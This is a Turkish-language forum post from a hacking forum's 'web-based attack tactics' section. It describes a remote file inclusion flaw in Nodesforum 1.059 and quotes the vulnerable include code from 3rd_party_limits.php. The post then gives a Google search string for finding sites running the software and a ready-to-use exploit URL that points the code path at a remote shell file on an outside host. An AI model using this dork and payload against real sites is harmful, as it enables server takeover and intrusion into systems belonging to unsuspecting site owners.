folder Tahribat.com Forumları
linefolder Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri
linefolder Nodesforum 1.059 Remote File Inclusion



Nodesforum 1.059 Remote File Inclusion

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Muhalif Yorumcu
    SeRDaR
    SeRDaR's avatar
    Kayıt Tarihi: 09/Kasım/2003
    Erkek

    Script yapımcısı ve scripti indirebilecğeiniz Bağlantı : http://home.nodesforum.com/download?file=nodesforum_1.059_with_bbcode_1.004.zip

    Açıpa nedne olan kodlar "3rd_party_limits.php" dosyasında bulunan şu kodlar :

    $limits_cache_url=$_nodesforum_code_path.'cache/'.$_nodesforum_db_table_name_modifier.'_3rd_party_limits.php';
if(@filemtime($limits_cache_url) && @filemtime($limits_cache_url)>(time()-(24*3600*14)))
{include($limits_cache_url);}

     

     

    Google da arama yapacağınıuz kelime : inurl: powered by Nodesforum

    $limits_cache_url de kulanılır ama kodlarda o halledilmiş

    Uygulanışı: http://[hedef site]/nodesforum/3rd_party_limits.php?_nodesforum_code_path=http://www.shell.com/shell.txt?

    Açığı bulan arkadaş kendisini 22 yaşında alman hacker bd0rk olarak tanımlamış :) kendisi beyaz şapkalı hacker mış :D

    Önemsediğin Kadar Önemsenirsin. Önemsendiğin Kadar Önemsensersin.
    Reply With Quote Alıntı yap
Toplam Hit: 811 Toplam Mesaj: 1